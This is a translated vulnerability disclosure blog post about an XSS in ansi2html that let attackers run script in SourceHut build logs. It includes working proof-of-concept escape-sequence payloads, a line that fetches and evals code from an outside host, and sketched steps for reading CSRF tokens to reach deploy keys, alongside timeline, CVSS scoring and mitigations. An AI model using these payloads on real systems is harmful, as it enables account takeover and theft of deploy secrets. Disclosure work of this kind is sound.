通过构建日志接管 SourceHut 账号(ansi2html.py 里的 XSS)
作者在 SourceHut 的构建日志里发现一个 XSS:ansi2html 处理终端转义序列时不安全,攻击者能在别人的构建日志中执行脚本,进而拿到部署密钥。文章记录了完整的发现与时间线。
中文
复制
欢迎来看我的第一篇重大影响漏洞分析!
我喜欢好故事,所以先交代点背景。我最近冒出一个「绝妙」的主意(我知道,我知道,我该停止这种念头了):搭一个 sr.ht 实例,替人托管项目还倒贴钱。时间线那一栏里有我厚着脸皮的推广,想试试或者想在社交媒体上喷我,都请自便。
总之,故事开始。第一步是克隆 sr.ht 仓库里最小的一部分,然后动手改。
No NLP 从今年起,我在漏洞研究提交里都会附上这句话。怎么理解随你。
No NLP has been used in this research. The mistakes are all mine.
结构 SourceHut 由若干微服务组成,主要有 meta.sr.ht,大概还有 git.sr.ht 或 hub.sr.ht(旗舰实例把它托管在 just sr.ht)。当然还有 builds.sr.ht,也就是 CI。
不太为人所知的是 mirror.sr.ht(正在慢慢迁往 mirror.srht.network),里面放着各个微服务的预编译包。
我得说我喜欢这种做法,因为它让任何机器都能极轻松地上手,只要发行版版本和旗舰实例完全一致。
如果你喜欢的项目目前推荐用 curl|sudo bash 安装,或者建议「直接在这个文件夹里启动 Claude」(原文如此!),那不妨了解一下另一种同样正当的选择:用真正的软件包把软件分发给最终用户。1
构建 Alpine 包 所以如果你用的发行版不同,甚至只是 Alpine 版本不同,就有点得靠自己了。有个 sr.ht-apkbuilds 仓库,你可以「fork」它,换成自己的签名密钥、自己的 Alpine 版本和自己的镜像。Arch 那边还有 sr.ht-pkgbuilds,不过实际上已经没人维护了。2
这需要用 builds.sr.ht 来引导构建这些包。我试着去看构建日志的页面源码,因为它老是滚不到我想去的位置,有点烦人。
就在那时我发现了这个:
/* ... / .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } / ... */
我决定仔细看看它是怎么实现的,也许顺手修掉。你看,我喜欢 SourceHut。我能看出这里浪费了不少算力和带宽。我希望他们发财,这样别人才会跟进,而眼下有些没必要的浪费在拖慢这件事。3
ansi2html 我去看了把 ANSI 转义码转成 HTML 的那段逻辑,提了个 issue。当时那个仓库已经一年多没有任何动静,于是我决定自己动手,因为我自己也喜欢收到好的补丁——只要我没在专注某个特定项目的时候。很快我就提交了一个 PR,修掉这个具体问题。
凭着打 CTF 的老底子,我开始更深入地翻 ansi2html,找更多 bug(尤其是我马上就要自己托管它了!)。除了解析颜色转义序列,它还支持自动链接和 OSC 8 超链接。因为代码结构还不太好,我读完这份很棒的 XSS cheatsheet(现在永远躺在我的书签里了)之后,构造出了一个恶意输入串:
$ printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html [...] <a href="https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`">Nothing to see here</a> [...] $ printf '\33]8;;javascript:alertxss\7Nothing to see here\33]8;;\7' | ansi2html [...] <a href="javascript:alertxss">Nothing to see here</a> [...]
前一个值得解释一下。不知道为什么,但你可以自己验证,它解析出来的 DOM 树和下面这个一样:
<a href="https://example.com/" autofocus tabindex="1" onfocus="alertxss"> 这里没什么可看的 </a> 所以,如果你恰好能让 ␛]8;;https://example.com/"/...␇ 出现在构建日志里——4 而你确实可以,甚至不需要账号:只要往公开邮件列表发一个补丁并开启持续集成,或者控制任何恰好会被打印到日志里的远程资源——那么恭喜,你刚刚在 https://builds.sr.ht/~someone-else/job/1234567 上创建了一个构建任务,它会在每一个查看该日志的浏览器里执行你的 payload。你可以自己提交这个任务,但这需要在旗舰实例上有一个付费账号。而且目前那里没有匿名支付。
武器化(请勿在家尝试) 真正的 payload 可以从攻击者的网站下载,比如 eval(await (await fetch('https://example.com'')).text()),但下面是一些关于它能做什么的推测。
构建日志页面本身已经包含了 CSRF token。你可以用 document.querySelector('[name=_csrf_token]').value 读取它,或者直接使用现成的表单(“Resubmit build”按钮的一部分),比如 document.querySelector('[name=manifest]').value=something;document.forms[0].submit()。一旦你让管理员查看了它,你大概就能给自己授予管理员权限。更糟的影响是你还能访问所有 deploy key,而在 builds.sr.ht 上,还有 sr.ht 自身的 deploy key(其他实例大概不是这种情况)。
把这部分做成 payload 就留给好奇的读者当作练习了。我怎么强调都不为过:记住只在你自己的基础设施上测试蠕虫。永远不要在生产环境上测试。即使那是你自己的生产环境。
如何在这里做纵深防御?通过限制 Content-Security-Policy。我不是这方面的专家,但去掉 ‘unsafe-inline’ 会是不错的第一步(这本身不算有用的建议,因为目前连构建日志页面自己都在用内联脚本做滚动)。
通过额外的 sanitization(SourceHut 加了,但过于激进——现在没有颜色了!)。
以及通过把 ansi2html 里的代码重构成某种有状态的 transducer automaton 之类的东西。
联系 我立刻给 ~sircmpwn/sr.ht-security@lists.sr.ht 发了邮件,解释了整个问题,并附上了一个至少能缓解最严重部分的修复。
Drew(我可以叫你 Drew 吗?我猜在 Source 里我们都是兄弟)最后给 builds.sr.ht 打了补丁,改为自动 sanitize ansi2html 的输出。这也是个不错的选择。
上游 然后我联系了上游(也许有点太晚了?确切时间线见下)。Ansi2html 是 Randall Munroe 那幅著名且如今已被说烂的漫画里提到的项目之一。5 它被放在 GitHub 上的 pycontribs 组织下,该组织不祥地宣称:
PyContribs 的主要目的是确保不同的 Python 相关项目保持有人维护。
我联系了过去 5 年左右贡献者图表上排名最靠前的两个人,邮箱来自 git 历史,目的是暂时不公开这个问题,尽管它已经因 SourceHut 的公告而公开了。
我认为是“主要”维护者的那位(Sorin Sbarnea)至今没有回复(他可能正在度某种假),不过另一位(Sebastian Pipping)回复了。而那条消息很隐晦,对我来说很不寻常:“两周后再给我发邮件”。
于是我耐心等了两周,同时照看我另一个刚起步的生意(让我试试,行吗?),然后发了邮件。
帮助上游 结果 Sebastian(我可以叫你 Sebastian 吗?)是个很酷的人,他发现自己需要我帮忙,因为仓库的 ACL 出了点问题。我们最终把 ansi2html 从它当时所处的停摆状态中恢复了过来,更新了一些过时的脚本,并一起向 PyPI 发布了大约 3 到 4 个 ansi2html 版本。
我尽量帮上忙,但我当时有些 PhD-in-spe 的事情要处理,所以出现了一些延迟。
提交 CVE 让我们从那个热门观点开始:CVSS 评分是一种谬误:它应该针对每个产品分别评分,而不是针对一条根因代码路径只给一个分数。
CVSS 的目的终究是为下游用户提供有用的信息,帮助他们判断要不要去打补丁。研究人员有动机把分数往高里打,项目方则有动机把分数往低里压。他们确实想修,但想避开随之而来的文书工作,还有把漏洞到处传阅时那套保密流程(我完全理解!)。
问题在于,并非所有软件生而平等,libcurl 这样的库尤其如此。
CVSS 4.0 至少比 CVSS 3.x 好一点。它现在区分了 Vulnerable System 和 Subsequent System。对于 XSS 漏洞,通常的做法是说 Web 服务是 Vulnerable,浏览器是 Subsequent(这多少说得通,因为 bug 出在服务里,但要攻击 Web 服务本身,首先得影响受害者的浏览器)。
我最初提出的向量被 VulnCheck 改过。不知道为什么,也许能改回去?也许不值得费这个劲。你们怎么看,告诉我。我还想把这篇博客文章加进 CVE DB,但可能需要先查一下怎么操作。
AV:N - 攻击向量:网络 AC:L - 攻击复杂度:低(不需要猜测,不需要绕过或同步攻击) AT:N - 要求:无(相对于需要特定配置) PR:N - 所需权限:无(发封邮件就行?如果没有 lists.sr.ht,可能也算低) UI:P - 用户交互:被动(受害者必须访问一个开着 JS 的站点——这是唯一的问题,也容易解决) vulnerable system(builds.sr.ht / 整个 sr.ht) VC:H - 机密性影响:高(确实造成直接、严重的机密性损失——密钥会泄露) VI:H - 完整性影响:高(能以受害者身份提交恶意构建任务,并访问 deploy key) VA:N - 可用性影响:无(无法搞垮整个服务,除非把构建 worker 堵死也算) subsequent system(受害者浏览器) SC:L - 机密性:低(只能访问范围严格受限的密钥) SI:L - 完整性:低(能伪造范围严格受限的请求) SA:N - 可用性:无(不会比直接访问更严重) supplemental AU:Y - 可自动化:是(可蠕虫化——受害者能立刻攻击其他人,扩大影响范围) R:I - 恢复:不可恢复(用户无法删除构建任务,只能隐藏) V:C - 价值密度:集中(单个实例承载许多有价值的项目,以及有价值的 deploy secret) RE:L - 响应成本:低(基本缓解措施:在代理层插入 CSP 头) U:Amber - 紧迫性:amber(中等紧迫:对基础设施构成直接危险,但已经搁置多年)
至于确切影响,实际用户当然可以、也应该提出异议(毕竟 SourceHut 号称没有 JavaScript 也照常运行),但我主张定为 high 或 critical,而不只是 medium,因为如果我是黑帽,只要 Drew 开着 JS 访问了一个受影响的构建日志,我就能以他的名义提交构建任务,并访问 SourceHut 的 deploy key。不过我不太确定怎么把它变成钱,或者怎么全身而退。别干这种事,孩子们。没有什么刺激值得这么做。
受影响的版本 ansi2html >=1.7.0, <1.9.4, builds.sr.ht >= 0.40.0, < 0.105.1
入侵指标 检查你的原始构建日志里有没有 ␛]8;;https://example.com/"/...␇ 或 ␛]8;;javascript:...␇。在 Bash 里,前者大概可以用 grep $'\33]8;[^\7\33]*"' 之类的命令来找。
完整时间线(很高兴所有东西都有永久记录!) 我对这条时间线不太自豪,但至少现在一切都修好了,也没有(?)有人尝试利用它的记录。我会把官方 Arch Linux 仓库和 sr.ht 的 Alpine Linux 仓库都列上,因为这两个系统都曾被推荐过。
2019-03-11:ansi2html 被加入 builds.sr.ht,随后又进入 sr.ht-apkbuilds 2021-09-03:这个 bug 被引入上游 ansi2html 2022-02-08:受影响版本被打包进 Alpine,并在旗舰实例上线 2022-07-10:受影响版本被打包进 Arch Linux 2026-07-17:我大概买了几个域名⁶ 2026-07-31:我开始做 SourceHut 2026-08-01:我向上游 ansi2html 提交了 issue,以及修复 TrueColor bug 的 PR。我准备好 ansi2html 的初步补丁,发到 ~sircmpwn/sr.ht-security@lists.sr.ht。 2026-08-04:bug 在 builds.sr.ht 代码中得到缓解;我收到 Drew DeVault 的邮件,确认了这个漏洞。Drew 公开提到了我(谢谢!我很感激!)。 2026-08-06:bug 上报到上游,立刻被 ACK 2026-08-20:催上游 2026-08-22:Sebastian 回复,我们约定了什么时候动手 2026-08-24:在真正处理漏洞之前,先试着把 ansi2html 的 CI 凑合起来 2026-08-29:1.9.3 发布,没有修复这个漏洞 2026-08-31:我在一篇帖子里暗示,自己在做一个会给项目所有者付钱的软件 forge 2026-09-02:最终修复的 PR 推送,1.9.4 发布,漏洞修复 2026-09-05:Arch Linux 把 ansi2html 更新到已修复版本 2026-09-xx:生活总有意外,我多接了点活养活自己 2026-09-23:这篇博文(其实是 -09-24,因为现在已经过了午夜。唉。) 2077-??-??:利润……? 注意,即使仔细审计 ansi2html,也救不了 SourceHut,除非每次版本更新都重做一遍。builds.sr.ht 就这样(几乎整整)4.5 年一直处于 vulnerable 状态。 感谢上帝让那些黑帽的诱惑远离我。Danonek123 一直陪着我。我爱你。 总结 你看,漏洞研究不必是一场马戏,不必是安全表演,也不必是和官僚体系打一场请了律师的官司。但那样的话,你最后可能也不会过得更好。 把 CTF 和受邀参加小型会议排除在外(还有我在 Antmicro 实习时被允许做的一些 VR,我至今仍然感激),到目前为止,我从漏洞研究中赚到的钱是 0.00€(也就是 $0.00 华氏度)。如果你想支持我(好让我有更多时间做 VR),可以考虑买点什么。比起捐款我更喜欢这样(不过捐款也行!)。我也接专业安全咨询。 我还没完!后面还有更多,虽然可以说没那么 critical。不想错过的话,订阅我的 RSS。 或者至少提供一个可选的超简单 configure 脚本,让人直接跑 make install/ninja install,这样别人打包起来也容易。(顺便说一句,我还是搞不懂为什么大家用 AppImage 而不是直接来个静态二进制。) ↩︎ 如果你想把 sr.ht 托管在 Arch 上,大概还是可以发补丁的! ↩︎ 嘿 Drew/Conrad/Simon/(抱歉如果我漏了谁!),当你们在 sr.ht-apkbuilds 里更新 ansi2html 时,其实是在那之后第一次重启 builds.sr.ht 时,请测一下 builds.sr.ht 的带宽影响。我会确保在这里放上链接。 ↩︎ 对,这是 em dash。我在这里用波兰语排版,因为我没有编辑要交代。不过欢迎纠正我。你可以当我的 drive-by editor。 ↩︎ 哎呀,抱歉,链接放错了。我说的当然是 https://xkcd.com/2347/。 ↩︎ 绝对不是冲动消费。“为了获得一点投资的感觉。”我对自己说。 ↩︎